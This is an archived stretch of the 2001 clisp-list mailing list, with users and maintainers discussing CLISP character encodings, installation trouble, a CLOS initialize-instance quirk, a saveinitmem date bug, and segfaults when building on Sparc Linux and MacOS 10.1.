<20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> <20011010171807.Q20855@hagbard.davep.org> <20011011073935.T20855@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011011073935.T20855@hagbard.davep.org> Message-ID: Lines: 52 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 11 06:40:30 2001 X-Original-Date: 11 Oct 2001 09:39:05 -0400 > * In message <20011011073935.T20855@hagbard.davep.org> > * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27" > * Sent on Thu, 11 Oct 2001 07:39:35 +0100 > * Honorable Dave Pearson writes: > > Given this, what's the right thing to do if I want to write some code > that reads a random file that might contain data outside of the range > considered to be ASCII and I want it to run in a random environment? > How can I write such code so that it doesn't blow up if accented > characters (for example) appear in a file it reads? (setq *default-file-encoding* charset:utf-8) or (open ... :external-format charset:utf-8) see > Am I doing the right thing now by setting the encoding to a random > 8bit encoding (I say random because, although ISO-8859-1 makes sense > for me, it might not make sense for someone else). Is there a plain > "8bit" encoding? Does that question make sense? Should/could the > default encodings be something that can handle 8bit? If not, why not? charset:utf-8 comes to "plain 8bit" as close as I can imagine. you should ask someone else though - I am no expert on these matters. > > please investigate the values if the environment variables > > LC_ALL, LC_CTYPE, LANG. > > > > I do not set them and I have > > $ clisp -q -norc -x '*misc-encoding*' > > # > > It's not clear what you mean when you say "them" here. Are you talking > about the environment variables or are you talking about the encoding > variables within clisp itself? both - "clisp -norc" always invokes the default vanilla CLISP image. $ unset LC_ALL LC_CTYPE LANG $ clisp -q -norc -x '*misc-encoding*' # $ -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on War doesn't determine who's right, just who's left. From davep@davep.org Thu Oct 11 08:03:19 2001 Received: from finch-post-10.mail.demon.net ([194.217.242.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rhMk-0008Uc-00 for ; Thu, 11 Oct 2001 08:03:19 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by finch-post-10.mail.demon.net with esmtp (Exim 2.12 #1) id 15rhMg-000KVq-0A for clisp-list@lists.sourceforge.net; Thu, 11 Oct 2001 15:03:14 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id QAA13816 for clisp-list@lists.sourceforge.net; Thu, 11 Oct 2001 16:00:20 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20011011160020.C20855@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> <20011010171807.Q20855@hagbard.davep.org> <20011011073935.T20855@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Oct 11, 2001 at 09:39:05AM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Prickle-Prickle, Day 65 of the season of Bureaucracy, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 11 08:04:05 2001 X-Original-Date: Thu, 11 Oct 2001 16:00:20 +0100 On Thu, Oct 11, 2001 at 09:39:05AM -0400, Sam Steingold wrote: > $ unset LC_ALL LC_CTYPE LANG > $ clisp -q -norc -x '*misc-encoding*' > # Curious, I wonder why I get something different then? ,---- | davep@hagbard:~$ unset LC_ALL LC_CTYPE LANG | davep@hagbard:~$ clisp -q -norc -x '*misc-encoding*' | # `---- -- Dave Pearson http://www.davep.org/ From bruce253@163.net Fri Oct 12 01:19:18 2001 Received: from [211.101.185.136] (helo=fltrp.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rxXI-0008HH-00 for ; Fri, 12 Oct 2001 01:19:18 -0700 Received: from 163.net [211.101.185.130] by fltrp.com with ESMTP (SMTPD32-7.00 EVAL) id A7A63800CC; Fri, 12 Oct 2001 16:19:50 +0800 Message-ID: <3BC6A73B.7000002@163.net> From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011001 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> <20011010171807.Q20855@hagbard.davep.org> <20011011073935.T20855@hagbard.davep.org> <20011011160020.C20855@hagbard.davep.org> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 12 01:20:06 2001 X-Original-Date: Fri, 12 Oct 2001 16:18:03 +0800 Dave Pearson wrote: > On Thu, Oct 11, 2001 at 09:39:05AM -0400, Sam Steingold wrote: > > >>$ unset LC_ALL LC_CTYPE LANG >>$ clisp -q -norc -x '*misc-encoding*' >># >> > > Curious, I wonder why I get something different then? > > ,---- > | davep@hagbard:~$ unset LC_ALL LC_CTYPE LANG > | davep@hagbard:~$ clisp -q -norc -x '*misc-encoding*' > | # > `---- I can confirm Dave's result on Debian GNU/LINUX sid. My locale is normally set to zh_CN.GB2312. I guess that's controlled by glibc setings. From rkarora@wilnetonline.net Sun Oct 14 19:31:00 2001 Received: from [202.164.96.4] (helo=mailserver.wilnetonline.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15sxWt-0002YI-00 for ; Sun, 14 Oct 2001 19:30:59 -0700 Received: from rkarora ([202.164.105.143]) by mailserver.wilnetonline.net (Netscape Messaging Server 4.15) with ESMTP id GL873P03.68F for ; Mon, 15 Oct 2001 08:03:25 +0530 Message-ID: <000d01c15522$c5b05040$8f69a4ca@rkarora.wilnetonline.net> From: rkarora@wilnetonline.net To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0008_01C15550.DADAC6C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Subject: [clisp-list] hello,i need your help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 14 19:31:02 2001 X-Original-Date: Mon, 15 Oct 2001 08:10:29 +0530 This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C15550.DADAC6C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Respected Sir, I have downloaded a copy of CLISP from the site gnu.org. It gives me = errors while starting=20 1) no initialisation file specifiled 2)no installation directory specified also I am not able to use defun macro. The readme file is not in English = so it is not possible to read it. kindly clarify my queries at the earliest. Thanking You, Smita Arora (sm_arora@yahoo.com) ------=_NextPart_000_0008_01C15550.DADAC6C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Respected Sir,
 
I have downloaded a copy of CLISP = from the site=20 gnu.org. It gives me errors while starting
 
1) no initialisation file specifiled
 
2)no installation directory specified
 
also I am not able to use defun macro. The readme = file is not=20 in English so it is not possible to read it.
 
kindly clarify my queries at the = earliest.
 
Thanking You,
 
Smita Arora
(sm_arora@yahoo.com)
------=_NextPart_000_0008_01C15550.DADAC6C0-- From nzanella@cs.mun.ca Sun Oct 14 19:46:46 2001 Received: from garfield.cs.mun.ca ([134.153.1.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15sxm9-0005XB-00 for ; Sun, 14 Oct 2001 19:46:45 -0700 Received: from localhost (nzanella@localhost) by garfield.cs.mun.ca (8.11.6/8.11.0) with ESMTP id f9F2kJO32373; Mon, 15 Oct 2001 00:16:19 -0230 From: Neil Zanella To: cc: CLISP Mailing List Subject: Re: [clisp-list] hello,i need your help In-Reply-To: <000d01c15522$c5b05040$8f69a4ca@rkarora.wilnetonline.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 14 19:47:02 2001 X-Original-Date: Mon, 15 Oct 2001 00:16:19 -0230 (NDT) What operating system are you on? On Linux the CLISP installation was fairly straightforward. All I had to do after downloading the clisp source tarball was login as root, unpack it, and run the following commands: ./configure with-gcc-wall cd with-gcc-wall ./makemake > Makefile make config.lisp make make test make testsuite make install This was on Red Hat 7.1. Bye, Neil On Mon, 15 Oct 2001 rkarora@wilnetonline.net wrote: > Respected Sir, > > I have downloaded a copy of CLISP from the site gnu.org. It gives me errors while starting > > 1) no initialisation file specifiled > > 2)no installation directory specified > > also I am not able to use defun macro. The readme file is not in English so it is not possible to read it. > > kindly clarify my queries at the earliest. > > Thanking You, > > Smita Arora > (sm_arora@yahoo.com) > From vs1100@terra.es Mon Oct 15 15:14:18 2001 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp10.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15tG01-0005GR-00 for ; Mon, 15 Oct 2001 15:14:17 -0700 Received: from me2xz.terra.es ([62.37.173.71]) by tsmtp10.mail.isp (Netscape Messaging Server 4.15 tsmtp10 Jul 26 2001 13:10:38) with ESMTP id GL9PQ501.ZKY; Tue, 16 Oct 2001 00:13:17 +0200 Message-Id: <5.1.0.14.0.20011016000415.00a0aec0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten Cc: rkarora@wilnetonline.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] hello,i need your help (rkarora@wilnetonline.net) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 15 15:15:02 2001 X-Original-Date: Tue, 16 Oct 2001 00:12:40 +0200 I don't know how you managed to install your software, my installation contains a readme in english. There is even a readme.es in spanish :-) Did you find a subdirectory doc, it contains a lot of valuable information that you might study. If on windows try lisp.exe -B . -M lispinit.mem on unix ./lisp.run -B . -M lispinit.mem I can assure you that defun works Un saludo Karsten From vs1100@terra.es Mon Oct 15 15:15:14 2001 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp8.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15tG0v-0005LW-00 for ; Mon, 15 Oct 2001 15:15:13 -0700 Received: from me2xz.terra.es ([62.37.173.71]) by tsmtp8.mail.isp (Netscape Messaging Server 4.15 tsmtp8 Jul 26 2001 13:10:38) with ESMTP id GL9PSH01.OS4 for ; Tue, 16 Oct 2001 00:14:41 +0200 Message-Id: <5.1.0.14.0.20011015235822.009f6af0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Clos problems when initialize-instance returning unusual objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 15 15:16:03 2001 X-Original-Date: Tue, 16 Oct 2001 00:14:44 +0200 Hello, I have the following problem in Clisp 2.27 Windows ME, but I assume it happens on every platform. make-instance seem to return whatever initialize-instance returns, even if it is totally bogus The following code illustrates the problem, works fine in ACL and LW but warns in CLISP Un saludo Karsten (defclass foo () () ) (defclass bar () () ) (defmethod initialize-instance ((me foo) &rest initargs) (declare (ignore initargs)) (make-instance 'bar)) (defclass foofoo (foo) () ) (defmethod initialize-instance ((me foofoo) &rest initargs) (declare (ignore initargs)) nil) (defun test (class-symbol) (let ((object (make-instance class-symbol))) (unless (typep object 'foo) (warn "Wrong Class ~a should be ~a" (class-of object) (find-class class-symbol))))) (defun test-classes () (test 'foo) (test 'foofoo)) From Bernard.Urban@meteo.fr Wed Oct 17 07:26:58 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15trei-0000un-00 for ; Wed, 17 Oct 2001 07:26:48 -0700 To: clisp-list@lists.sourceforge.net From: Bernard Urban Message-ID: <873d4ifilj.fsf@merceron.meteo.fr> Lines: 24 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] saveinitmem bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 17 07:27:22 2001 X-Original-Date: 17 Oct 2001 16:26:32 +0200 ramses@merceron:~/work$ clisp -q [1]> (lisp-implementation-version) "2.27 (released 2001-07-17) (built 3212300364) (memory 3212303009)" [2]> (system::saveinitmem) 965396 ; 524288 [3]> ramses@merceron:~/work$ clisp -q -M lispinit.mem [1]> (lisp-implementation-version) *** - Date incorrecte : 300364/0/364, 0h0m0s, heure NIL 1. Break [2]> [3]> ramses@merceron:~/work$ I suspect the bug as beeing in the C function savemem(), where a time stamp is computed. -- Bernard Urban From sds@gnu.org Wed Oct 17 11:09:01 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15tv7l-0002nl-00 for ; Wed, 17 Oct 2001 11:09:01 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA11397; Wed, 17 Oct 2001 14:08:52 -0400 (EDT) X-Envelope-To: To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] saveinitmem bug References: <873d4ifilj.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <873d4ifilj.fsf@merceron.meteo.fr> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 17 11:10:16 2001 X-Original-Date: 17 Oct 2001 14:07:40 -0400 > * In message <873d4ifilj.fsf@merceron.meteo.fr> > * On the subject of "[clisp-list] saveinitmem bug" > * Sent on 17 Oct 2001 16:26:32 +0200 > * Honorable Bernard Urban writes: > > "2.27 (released 2001-07-17) (built 3212300364) (memory 3212303009)" > ... > *** - Date incorrecte : 300364/0/364, 0h0m0s, heure NIL this appears to have been fixed in the current sources. could you please try CVS? thanks! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! I'd give my right arm to be ambidextrous. From sc843@bard.edu Thu Oct 18 10:34:43 2001 Received: from bard.edu ([192.246.229.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uH47-0003P6-00 for ; Thu, 18 Oct 2001 10:34:43 -0700 Received: from bard.edu (kenny.bard.edu [192.246.226.79]) by bard.edu (AIX4.3/8.9.3/8.9.3) with ESMTP id NAA66430 for ; Thu, 18 Oct 2001 13:34:41 -0400 Message-ID: <3BCF1383.87709026@bard.edu> From: Sean Callanan X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit Subject: [clisp-list] Sparc issues Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 10:35:14 2001 X-Original-Date: Thu, 18 Oct 2001 13:38:11 -0400 Dear mailing list: This is (I suppose) a follow-up to Ben Collins' e-mails around 3/19/2000: http://www.geocrawler.com/archives/3/1124/2000/3/0/3459057/ regarding segfaults of lisp.run - specifically during the make process. This is still the case. -- *** Segmentation fault Register dump: PSR: ff990084 PC: 00013410 NPC: 00013414 Y: 00000000 g0: 00000000 g1: 00000075 g2: 0023c188 g3: 19c38000 g4: 00000000 g5: 00000000 g6: 00000000 g7: ffffff00 o0: 00000000 o1: 00000000 o2: 00000000 o3: 00000000 o4: 00000000 o5: 00000000 sp: efffeff0 o7: 00000000 l0: 00000000 l1: 00000000 l2: 00000000 l3: 00000000 l4: 00000000 l5: 00000000 l6: 00000000 l7: 00000000 i0: fffffffc i1: 00000000 i2: 00000000 i3: 00000000 i4: 00000000 i5: 00000000 fp: effff058 i7: 00013464 Old mask: 08000000 Backtrace: /home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:404(gc_mark_stack)[0x13410] /home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:431(gc_markphase)[0x13464] /home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:1614(gar_col_normal)[0x13b04] /home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:2389(do_gar_col_simple)[0x14868] /home/sc843/clisp/clisp/with-gcc-wall/predtype.d:2840(with_gc_statistics)[0x94448] /home/sc843/clisp/clisp/with-gcc-wall/spvw_garcol.d:2417(gar_col_simple)[0x14894] /home/sc843/clisp/clisp/with-gcc-wall/spvw_allocate.d:236(make_space_gc_true)[0x14a0c] /home/sc843/clisp/clisp/with-gcc-wall/spvw_typealloc.d:97(allocate_vector)[0x14ddc] /home/sc843/clisp/clisp/with-gcc-wall/subrkw.d:4(init_subr_tab_2)[0x17718] /home/sc843/clisp/clisp/with-gcc-wall/spvw.d:1406(initmem)[0x1901c] /home/sc843/clisp/clisp/with-gcc-wall/spvw.d:2519(main)[0x1a530] /lib/libc.so.6(__libc_start_main+0x14c)[0x700ce6a0] ??:0(_start)[0x12290] -- The result of "grep cl_cv_address_ config.cache" for the Ultra I'm using is -- cl_cv_address_code=${cl_cv_address_code='0x00000000'} cl_cv_address_malloc=${cl_cv_address_malloc='0x00000000'} cl_cv_address_shlib=${cl_cv_address_shlib='0x70000000'} cl_cv_address_stack=${cl_cv_address_stack='0xEF000000'} -- The box is a Sun Ultra 10, with a TI UltraSparc IIi, and 128MB of RAM. I'd love to help in any way I can. Sincerely, Sean Callanan From emarsden@laas.fr Thu Oct 18 11:16:29 2001 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uHiV-0000Zu-00 for ; Thu, 18 Oct 2001 11:16:28 -0700 Received: from moustacho.laas.fr (moustacho [140.93.21.71]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id f9IIGOQj022643 for ; Thu, 18 Oct 2001 20:16:24 +0200 (CEST) Received: (from emarsden@localhost) by moustacho.laas.fr (8.9.3/8.9.3) id UAA12035; Thu, 18 Oct 2001 20:16:24 +0200 (MET DST) To: clisp-list@lists.sourceforge.net From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ Message-ID: Lines: 31 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] build fails on MacOS 10.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 11:17:09 2001 X-Original-Date: Thu, 18 Oct 2001 20:16:24 +0200 Hi, I tried compiling version 2.27 on MacOS 10.1, with the Apple Developer Tools installed (gcc 2.95.2). It segfaults while building: ,---- | test -d bindings || mkdir bindings | ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" | ;; Loading file defseq.lisp ... | ;; Loading of file defseq.lisp is finished. | ;; Loading file backquote.lisp ... | ;; Loading of file backquote.lisp is finished. | ;; Loading file defmacro.lisp ... | ;; Loading of file defmacro.lisp is finished. | ;; Loading file macros1.lisp ... | ;; Loading of file macros1.lisp is finished. | ;; Loading file macros2.lisp ... | ;; Loading of file macros2.lisp is finished. | ;; Loading file defs1.lisp ... | ;; Loading of file defs1.lisp is finished. | ;; Loading file places.lisp ... | make: *** [interpreted.mem] Segmentation fault `---- Running lisp.run under gdb (5.0) complains that the sigsegv_handler_failed in .gdbinit is not defined. Any hints on how to debug this? -- Eric Marsden From sds@gnu.org Thu Oct 18 11:54:33 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uIJN-0005CQ-00 for ; Thu, 18 Oct 2001 11:54:33 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA14910; Thu, 18 Oct 2001 14:54:28 -0400 (EDT) X-Envelope-To: To: Sean Callanan Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Sparc issues References: <3BCF1383.87709026@bard.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3BCF1383.87709026@bard.edu> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 11:55:14 2001 X-Original-Date: 18 Oct 2001 14:53:26 -0400 > * In message <3BCF1383.87709026@bard.edu> > * On the subject of "[clisp-list] Sparc issues" > * Sent on Thu, 18 Oct 2001 13:38:11 -0400 > * Honorable Sean Callanan writes: > > This is (I suppose) a follow-up to Ben Collins' e-mails around > 3/19/2000: > http://www.geocrawler.com/archives/3/1124/2000/3/0/3459057/ > > regarding segfaults of lisp.run - specifically during the make process. > This is still the case. we are painfully aware of this Linux/Sparc problem. the problem appears to be with glibc2.2. CLISP works just fine with glibc2.1 (all Linux platforms), but fails on Sparc Linux with glibc2.2. It does work fine on Sun Solaris and Linux i386 glibc2.2. If you can figure out the root of the problem... -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! C combines the power of assembler with the portability of assembler. From sds@gnu.org Thu Oct 18 11:58:54 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uINa-0005r6-00 for ; Thu, 18 Oct 2001 11:58:54 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA17178; Thu, 18 Oct 2001 14:58:51 -0400 (EDT) X-Envelope-To: To: Eric Marsden Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build fails on MacOS 10.1 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 11:59:18 2001 X-Original-Date: 18 Oct 2001 14:57:49 -0400 > * In message > * On the subject of "[clisp-list] build fails on MacOS 10.1" > * Sent on Thu, 18 Oct 2001 20:16:24 +0200 > * Honorable Eric Marsden writes: > > I tried compiling version 2.27 on MacOS 10.1, with the Apple Developer > Tools installed (gcc 2.95.2). It segfaults while building: I have seen this report, unfortunately. On a more optimistic note, others have succeeded (see cvs2.cons.org:/pub/lisp/clisp/binaries/2.27) if you would like to pursue this issue, please get the CVS version, set SAFETY=3 in the Makefile and try again. Your help is appreciated. > Running lisp.run under gdb (5.0) complains that the > sigsegv_handler_failed in .gdbinit is not defined. edit .gdbinit :-) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! I'm a Lisp variable -- bind me! From jflowers@codefab.com Thu Oct 18 12:07:46 2001 Received: from pi.codefab.com ([12.38.161.140]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15uIW8-0007w6-00 for ; Thu, 18 Oct 2001 12:07:44 -0700 Received: from bjork.codefab.com (root@bjork.codefab.com [12.38.161.11]) by pi.codefab.com (8.11.6/8.11.6) with ESMTP id f9IJ7cq12135; Thu, 18 Oct 2001 15:07:38 -0400 (EDT) Received: from tanya (tanya.codefab.com [12.38.161.19]) by bjork.codefab.com (8.11.6/8.11.6) with ESMTP id f9IJ7ca16848; Thu, 18 Oct 2001 15:07:38 -0400 (EDT) Message-Id: <200110181907.f9IJ7ca16848@bjork.codefab.com> From: Josh Flowers Content-Type: text/plain; format=flowed; charset=us-ascii Subject: Re: [clisp-list] build fails on MacOS 10.1 Cc: clisp-list@lists.sourceforge.net To: Eric Marsden X-Mailer: Apple Mail (2.388) In-Reply-To: Mime-Version: 1.0 (Apple Message framework v388) Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 18 12:09:29 2001 X-Original-Date: Thu, 18 Oct 2001 15:03:55 -0400 Well, I'm the one who built the binary for 10.0.4, but I'm afraid I don't remember all of the hoops I needed to jump through to get things working. The only thing I remember for sure is needing to remove all of the optimization flags that get passed to the compiler (-O, or -O2 I think). I may be revisiting this soon though, since I've just upgraded to 10.1... > Hi, > > I tried compiling version 2.27 on MacOS 10.1, with the Apple Developer > Tools installed (gcc 2.95.2). It segfaults while building: > > ,---- > | test -d bindings || mkdir bindings > | ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load > \"init.lisp\") (sys::%saveinitmem) (exit)" > | ;; Loading file defseq.lisp ... > | ;; Loading of file defseq.lisp is finished. > | ;; Loading file backquote.lisp ... > | ;; Loading of file backquote.lisp is finished. > | ;; Loading file defmacro.lisp ... > | ;; Loading of file defmacro.lisp is finished. > | ;; Loading file macros1.lisp ... > | ;; Loading of file 